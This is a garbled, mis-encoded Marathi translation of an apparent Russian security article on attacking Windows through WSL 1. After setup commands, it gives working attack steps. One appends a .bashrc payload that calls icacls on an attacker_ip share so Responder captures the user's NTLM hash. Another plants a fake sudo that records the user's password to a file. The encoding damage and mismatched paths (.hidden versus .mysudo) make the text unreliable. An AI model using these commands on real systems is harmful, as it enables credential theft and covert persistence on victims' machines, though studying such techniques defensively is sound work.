2. рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреЕрдХрдЪреА рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреА.

рд╡рд┐рдВрдбреЛрдЬрд╡рд░реАрд▓ рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯреАрдорд╡рд░реАрд▓ рд╣рд▓реНрд▓реНрдпрд╛рдВрдЪреА рдЙрджрд╛рд╣рд░рдгреЗ рд╡рд╛рдкрд░реВрди рд╕рдВрд╢реЛрдзрди рдХреЗрд▓реЗ рдЧреЗрд▓реЗ. рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдЯреЕрдХрдЪреА рд╡реИрд╢рд┐рд╖реНрдЯреНрдпреЗ рд╡рд╛рдкрд░рд▓реА рдЧреЗрд▓реА, рдореНрд╣рдгрдЬреЗ, рд╡рд┐рд╡рд┐рдз рд╕рдВрд╕рд╛рдзрдирд╛рдВрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдпрдВрддреНрд░рдгрд╛.

рдкрд░рд┐рд╕реНрдерд┐рддреА:

  • рд╡рд┐рдВрдбреЛрдЬ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рд╡реНрдпрд╛рдкрд▓реЗрд▓реНрдпрд╛ рдкреЛрд░реНрдЯрд╡рд░ рдкреНрд░рд╡реЗрд╢ рдЙрдШрдбрдгреЗ
  • рдпреЛрдЧреНрдп рдЕрдзрд┐рдХрд╛рд░рд╛рдВрд╢рд┐рд╡рд╛рдп рдмрдВрджрд░ рдЙрдШрдбрдгреЗ
  • рд╡рд┐рдВрдбреЛрдЬ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рдПрд▓реНрдл рдлрд╛рдЗрд▓ рд╡рд╛рдкрд░реВрди рд░рд┐рд╡реНрд╣рд░реНрд╕ рд╢реЗрд▓ рдЪрд╛рд▓рд╡рдгреЗ.

3. WSL рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╡рд╛рдкрд░реВрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реЙрдлреНрдЯрд╡реЗрдЕрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдВрдЪрд╛ рд╢реБрднрд╛рд░рдВрдн рд▓рдкрд╡рдд рдЖрд╣реЗ.

рд╕рдВрд╢реЛрдзрди рдПрдХрд╛ рд╕рд╛рдзреНрдпрд╛ рд╡рд╕реНрддреБрд╕реНрдерд┐рддреАрд╡рд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ - рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓ 1 рдЪреНрдпрд╛ рдмрд╛рдмрддреАрдд рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдордордзреАрд▓ рдХрд╛рдпрджреЗрд╢реАрд░ рдкреНрд░рджрд╛рддреНрдпрд╛рдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВрди рдХрд╛рд░реНрдп рдХрд░рдгрд╛рд░реНтАНрдпрд╛ рджреБрд╕рд░реНтАНрдпрд╛ рдХрд░реНрдирд▓рдордзреАрд▓ рдШрдЯрдирд╛рдВрдирд╛ рд░реЛрдЦреВ рд╢рдХрдд рдирд╛рд╣реА. WSL 2 рдЪреНрдпрд╛ рдмрд╛рдмрддреАрдд, рдШрдбрдгрд╛рд▒реНрдпрд╛ рдШрдЯрдирд╛ рдкрд╛рд╣рдгреНрдпрд╛рдЪрд╛ рдХреЛрдгрддрд╛рд╣реА рдорд╛рд░реНрдЧ рдирд╛рд╣реА. рд▓рд╛рдЗрдЯрд╡реЗрдЯ рд╡реНрд╣рд░реНрдЪреНрдпреБрдЕрд▓ рдорд╢реАрдирдордзреНрдпреЗ рд╡реЗрдЧрд│реНрдпрд╛ рдХрд░реНрдирд▓рдордзреНрдпреЗ.

рдкрд░рд┐рд╕реНрдерд┐рддреА:

1) рд╕рд┐рд╕реНрдЯрдордордзреНрдпреЗ рджреВрд░рд╕реНрде рдкреНрд░рд╡реЗрд╢рд╛рд╕рд╛рдареА рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд▓рд╛рдБрдЪ рдХрд░рд╛ рдЖрдгрд┐ рд▓реЙрдЧ рдХреЗрд▓реЗрд▓реЗ рдЗрд╡реНрд╣реЗрдВрдЯ рдкрд╣рд╛.

WSL 1 рдкреНрд░рдпреЛрдЧ: рд╣реЕрд╢ рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди (рд╡рд┐рдВрдбреЛрдЬ)

рд╢реЗрд╡рдЯреА рдЖрдореНрд╣реА рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рднрд╛рдЧрд╛рд╡рд░ рдкреЛрд╣реЛрдЪрд▓реЛ. рдкреНрд░рдердо, рдЖрдкрдг рдЪрд╛рдЪрдгреА рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯ рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. рд╕рд░реНрд╡ рдкреНрд░рдпреЛрдЧ Windows 10 2004 рд╕реНрдерд╛рдкрд┐рдд рдХреЗрд▓реЗрд▓реНрдпрд╛ рдмреЗрдВрдЪрд╡рд░ рдХреЗрд▓реЗ рдЬрд╛рддреАрд▓. Ubuntu 18.04 рдкреНрд░рддрд┐рдорд╛ WSL тАЛтАЛрд╕рд╛рдареА рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рддрд┐рдорд╛ рдореНрд╣рдгреВрди рдирд┐рд╡рдбрд▓реА рдЧреЗрд▓реА. рдкреНрд░рддрд┐рдорд╛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХрдкрдгреЗ рдирд┐рд╡рдбрд▓реА рдЧреЗрд▓реА рдЖрдгрд┐ рдЗрддрд░ рдХреЛрдгрддреАрд╣реА рд╕рдорд╛рди рдХрд╛рд░реНрдп рдХрд░реЗрд▓. рд╕реНрдЯрдБрдб рд╕реЗрдЯ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдЬреНрдЮрд╛:

рдЖрдкрдг рдкреНрд░рдердо рд▓реЙрдиреНрдЪ рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ powershell.exe рдкреНрд░рд╢рд╛рд╕рдХ рдореНрд╣рдгреВрди.

WSL 1 рд╕рд╛рдареА рддреБрдореНрд╣рд╛рд▓рд╛ рдЖрдЬреНрдЮрд╛ рдЪрд╛рд▓рд╡рдгреНрдпрд╛рдЪреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЖрд╣реЗ:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #╨Т╨║╨╗╤О╤З╨╕╤В╤М ╤Д╤Г╨╜╨║╤Ж╨╕╤О WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #╨Ч╨░╨│╤А╤Г╨╖╨╕╤В╤М ╨╛╨▒╤А╨░╨╖ Linux ╨╕╨╖ ╨╝╨░╨│╨░╨╖╨╕╨╜╨░ Microsoft

  • Ubuntu.appx install тАФroot #╨г╤Б╤В╨░╨╜╨╛╨▓╨╕╨╝ ╨╛╨▒╤А╨░╨╖
  • ╨Т╨╛╨╖╨╝╨╛╨╢╨╜╨╛, ╨┐╤А╨╕╨┤╨╡╤В╤Б╤П ╨┐╤А╨╛╨║╨╗╨╕╨║╨░╤В╤М ╨┐╤А╨╛╤Ж╨╡╤Б╤Б ╨╜╨░╤Б╤В╤А╨╛╨╣╨║╨╕ ╨╕ ╤Б╨╛╨╖╨┤╨░╤В╤М ╨╜╨╛╨▓╨╛╨│╨╛ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П, ╨║╨╛╤В╨╛╤А╤Л╨╣ ╨▒╤Г╨┤╨╡╤В ╨╕╨╝╨╡╤В╤М ╨╝╨╡╨╜╤М╤И╨╡ ╨┐╤А╨░╨▓, ╤З╨╡╨╝ root. ╨Ф╨╗╤П ╨╜╨░╤И╨╕╤Е ╤В╨╡╤Б╤В╨╛╨▓ ╤Н╤В╨╛ ╨▒╤Г╨┤╨╡╤В ╨╛╨▒╤Л╤З╨╜╤Л╨╣ ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤М sam.
  • Restart-Computer #╨Я╨╡╤А╨╡╨╖╨░╨│╤А╤Г╨╖╨╕╨╝
  • рд╕реНрдЯрдБрдб рд░реАрдмреВрдЯ рдХреЗрд▓реНрдпрд╛рдирдВрддрд░, рддреБрдореНрд╣реА рдмреЕрд╢ рдХрдорд╛рдВрдбрд▓рд╛ рдХреЙрд▓ рдХрд░реВ рд╢рдХрддрд╛. рд╕рд░реНрд╡рдХрд╛рд╣реА рдпреЛрдЧреНрдпрд░рд┐рддреНрдпрд╛ рдХрд╛рд░реНрдп рдХрд░рдд рдЕрд╕рд▓реНрдпрд╛рд╕, рддреБрдореНрд╣рд╛рд▓рд╛ рд╡рд┐рдВрдбреЛрдЬ рдХрдиреНрд╕реЛрд▓рдордзреНрдпреЗ рдпрд╛рд╕рд╛рд░рдЦреЗ рдЖрдЙрдЯрдкреБрдЯ рджрд┐рд╕реЗрд▓:

    WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

    рдЖрдореНрд╣реА рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдбрд┐рд╕реНрдЯреНрд░рд┐рдмреНрдпреБрд╢рдирдЪрд╛ рд╡рд╛рдкрд░ рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рдЪреЗ рдорд╢реАрди рдореНрд╣рдгреВрди рдХрд░реВ; рд╕рд░реНрд╡ рдорд╢реАрди рдПрдХрд╛рдЪ рд╕реНрдерд╛рдирд┐рдХ рдиреЗрдЯрд╡рд░реНрдХрд╡рд░ рдЕрд╕рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ.

    рдЪрд▓рд╛ рдЕрд╕реЗ рдЧреГрд╣реАрдд рдзрд░реВ рдХреА рдЖрдордЪреНрдпрд╛рдХрдбреЗ рд╡рд┐рдВрдбреЛрдЬ рдорд╢реАрдирд╡рд░ рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓рдордзреНрдпреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдирд╕рд▓реЗрд▓рд╛ рдкреНрд░рд╡реЗрд╢ рдЖрд╣реЗ. рд▓рд┐рдирдХреНрд╕ рд╡рд░реВрди рдХрдорд╛рдВрдб рдХреЙрд▓ рдХрд░реВрди рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рд╣рд▓реНрд▓рд╛ рдХрд░рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХрд░реВрдпрд╛. рд╣рд▓реНрд▓рд╛ рдЕрдВрдорд▓рд╛рдд рдЖрдгрдгреНрдпрд╛рд╕рд╛рдареА, рдЖрдореНрд╣реА рдПрдХ рд╕рд╛рдзреЗ рдСрдЯреЛрд░рди рддрдВрддреНрд░ рд╡рд╛рдкрд░реВ - рдЖрдореНрд╣реА рд▓рд┐рдирдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдгрд╛рдд рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреАрд╕рд╛рдареА рдЖрдордЪреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛрдбреВ. рд╣реЗ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рддреБрдореНрд╣рд╛рд▓рд╛ рдлрд╛рдЗрд▓ рдмрджрд▓рдгреНрдпрд╛рдЪреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЖрд╣реЗ .bashrc.

    WSL рд╕рд╣ рдорд╢реАрдирд╡рд░ рдЖрдореНрд╣реА рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рддреЛ:

    	1. bash
    	2. ╨Я╨╡╤А╨╡╤Е╨╛╨┤╨╕╨╝ ╨▓ ╨┤╨╛╨╝╨░╤И╨╜╤О╤О ╨┤╨╕╤А╨╡╨║╤В╨╛╤А╨╕╤О ╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╨╡╨╗╤П: cd /home/sam/
    	2. echo  ┬л/home/sam/.attack.sh┬╗ >> .bashrc
    	3. echo ┬лicalcs.exe ┬╗ \\\\attacker_ip\\shareName\\┬╗ > /dev/null 2>&1┬╗ >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдорд╢реАрдирд╡рд░ рдЖрдореНрд╣реА рдЪрд╛рд▓рд╡рддреЛ:

    1. Responder -I eth0 -rdvw

    рд╡рд┐рдВрдбреЛрдЬ рдорд╢реАрдирд╡рд░, рдмреЕрд╢ рд▓рд╛рдБрдЪ рдХрд░реВ.

    рдЖрдореНрд╣реА рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдорд╢реАрдирд╡рд░реАрд▓ рдирд┐рдХрд╛рд▓рд╛рдЪреА рд╡рд╛рдЯ рдкрд╛рд╣рдд рдЖрд╣реЛрдд:

    WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

    рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ, рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдЯрдорд╡рд░ рдХрдорд╛рдВрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реВрди рдЖрдореНрд╣реА WSL рдЙрдкрдкреНрд░рдгрд╛рд▓реАрджреНрд╡рд╛рд░реЗ Windows рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рд╣реЕрд╢ рдорд┐рд│рд╡рд▓реЗ.

    WSL 1 рдкреНрд░рдпреЛрдЧ: рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдорд┐рд│рд╡рдгреЗ (Linux OS)

    рдЕрдЬреВрди рдПрдХ рдкреНрд░рдпреЛрдЧ рдХрд░реВрдпрд╛. рдпрд╛ рддрдкрд╛рд╕рдгреА рджрд░рдореНрдпрд╛рди рдЖрдореНрд╣реА рдлрд╛рдЗрд▓рдордзреНрдпреЗ рдЬреЛрдбреВ .bashrc рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рд╕рдВрдХреЗрддрд╢рдмреНрдж рдкреНрд░рд╛рдкреНрдд рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЕрдиреЗрдХ рдЖрджреЗрд╢.

    рдЪрд▓рд╛ рдмреЕрд╢ рд▓рд╛рдБрдЪ рдХрд░реВ рдЖрдгрд┐ рдХрдорд╛рдВрдб рдПрдВрдЯрд░ рдХрд░реВ:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt┬╗ >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    рд╣рд▓реНрд▓рд╛ рдпрд╢рд╕реНрд╡реАрд░рд┐рддреНрдпрд╛ рдкреВрд░реНрдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рд╕реЕрдорд▓рд╛ рд▓рд┐рдирдХреНрд╕ рдЯрд░реНрдорд┐рдирд▓рдордзреНрдпреЗ sudo рдХреЙрд▓ рдХрд░рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ. рдпрд╛рдирдВрддрд░, рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдлрд╛рдЗрд▓рдордзреНрдпреЗ рдЕрд╕реЗрд▓ pass.txt:

    WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

    рд╣рд▓реНрд▓реНрдпрд╛рдВрдЪреА рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреА рдХреЗрд╡рд│ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рдорд╛рд╣рд┐рддреАрд╕рд╛рдареА рджреЗрдгреНрдпрд╛рдд рдЖрд▓реА рд╣реЛрддреА.

    рд▓реЗрдЦрд╛рдЪрд╛ рдкреБрдвреАрд▓ рднрд╛рдЧ 9P рдкреНрд░реЛрдЯреЛрдХреЙрд▓рдЪреНрдпрд╛ рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреАрдЪреЗ рд╡рд░реНрдгрди рдХрд░реЗрд▓, рдпрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓рд╕рд╛рдареА рд╕реНрдХреЕрдирд░ рддрдпрд╛рд░ рдХрд░рдгреНрдпрд╛рдЪрд╛ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрд▓ рдЖрдгрд┐ рддреНрдпрд╛рдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВрди рд╣рд▓реНрд▓рд╛ рджреЗрдЦреАрд▓ рдХрд░реЗрд▓.

    рд╡рд╛рдкрд░рд▓реЗрд▓реНрдпрд╛ рд╕рд╛рд╣рд┐рддреНрдпрд╛рдЪреА рдпрд╛рджреА

    WSL рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ 1

    рдкреБрдвреЗ рд╡рд╛рдЪрд╛

    рд╕реНрддреНрд░реЛрдд: www.habr.com

    рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛